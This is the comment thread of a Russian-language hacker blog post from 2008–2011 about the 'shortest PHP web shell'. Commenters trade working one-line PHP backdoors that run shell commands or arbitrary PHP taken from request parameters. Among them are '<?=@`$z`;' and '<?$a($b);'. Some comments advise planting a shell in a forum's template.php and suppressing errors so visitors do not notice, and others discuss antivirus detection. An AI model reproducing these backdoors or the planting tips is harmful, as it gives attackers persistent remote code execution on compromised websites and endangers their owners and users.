Мега релиз: самый короткий шелл =)

Comments

20 responses to “Мега релиз: самый короткий шелл =)”

1. 

   Pento

   30 July 2008

   Всё таки минусы достаточно существенные, хотя и идея интересная 🙂

2. 

   R.e.a.L.

   31 July 2008

   Прикольно, настоящийи webshell а антивирь только подтвреждает
   это.

3. 

   Raz0r

   31 July 2008

   @R.e.a.L.
   каким антивирем ты пользовался? На вирустотале ни один антивирь ничего подозрительного не увидел

   @Pento
   главный минус – это функциональность =)

4. 

   R.e.a.L.

   31 July 2008

   касперь 6.0 при запуске скрипта с этим шелом однозначно определяет как потенциально опасное ПО а именно ROOTShell

5. 

   Raz0r

   31 July 2008

   ого! спасибо за информацию, не ожидал, что этот кусочек кода может быть как-то распознан )

6. 

   c0nst

   5 August 2008

   частенько выручала такая строчка =)

7. 

   Вадим

   13 August 2008

   Прикольная штука. Главное работает!

8. 

   spirit

   15 August 2008

   предлагаю немного уменьшить и убрать @! итого получим 9 байт! )

   мы же всегда будем передавать параметр… поэтому при регистрер глобалс переменная всегда будет инициализированя…

   ПС: первый раз написал сам шелл и ПХП обрезано было (

9. 

   c0nst

   16 August 2008

   > мы же всегда будем передавать параметр…
   а если это форум? или еще какой движок? допустим, вставим мы в какой-нибудь template.php этот шелл. template.php инклудится из index.php, etc.php. Заходя на сайт/форум, просой постетель будет видеть ошибку php, так как никаких параметров $c он передавать не будет. Так что, лучше подстраховаться и поставить заглушку @.

10. 

    Raz0r

    16 August 2008

    >просой постетель будет видеть ошибку php
    верно, но в принципе подавление ошибок можно убрать, так как неинициализированная переменная вызывает ошибку уровня E_NOTICE, а на всех хостингах обычно error_reporting выставлен в 7 или даже 0.

11. 

    Makaka

    27 August 2008

    А какая разница скока весит шелл ?
    10 байт или ещё плюс 6 🙂

12. 

    Raz0r

    31 August 2008

    >А какая разница скока весит шелл ?
    чисто кодерский интерес =)

13. 

    c411k

    1 September 2008

    Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 9 байт), серьезно не воспринимать! =) Итак, та-дам:
    <?=@`$z`;

14. 

    c411k

    1 September 2008

    зы. а на самом деле плевать на @ можно, получится 8.. но гугл %)

15. 

    Elekt

    1 September 2008

    <?`$a`;
    слепое выполнение кода – 7байт

    <?$a($b);
    выполнение произвольного php-кода

    кто меньше?
    ы =)

16. 

    Raz0r

    1 September 2008

    ice! =)

17. 

    brain[pillow]

    23 January 2009

    Прикольно. Хотел написать пример ещё короче, но вышло, что c411k меня уже опередил… да и новость смотрю довольно старая.

    Коммент пишу только потому, что не слышал про самый последний пример электа:
    <?$a($b);

    КАК это работает?

18. 

    Raz0r

    23 January 2009

    Очень просто, например такой код выполнит phpinfo():
    

19. 

    GivioN

    5 April 2010

    То есть к переменной c приинклюдить шелл по средством гет-запроса?

20. 

    Dorton

    25 August 2011

    А где вы собираетесь ставить шеллы с “;” на конце, не в конец ли файла? Однако, немного примечательно. Но, если на то пошло:

    “<?$a($b);
    выполнение произвольного php-кода"
    – 9 байт и заморочки с синтаксисом, нельзя в тупую присвоить переменной "a" команду. Пример: при "a" равном "echo 'ololo'" – Parse error: syntax error, unexpected '(', expecting ',' or ';' on line 1
    Но плюс в том, что не нужен short_open_tag (который по дефолту включён).

    <?=@`$c`;
    – 9 байт без заморочек с синтаксисом (минус выше).

This site uses Akismet to reduce spam. Learn how your comment data is processed.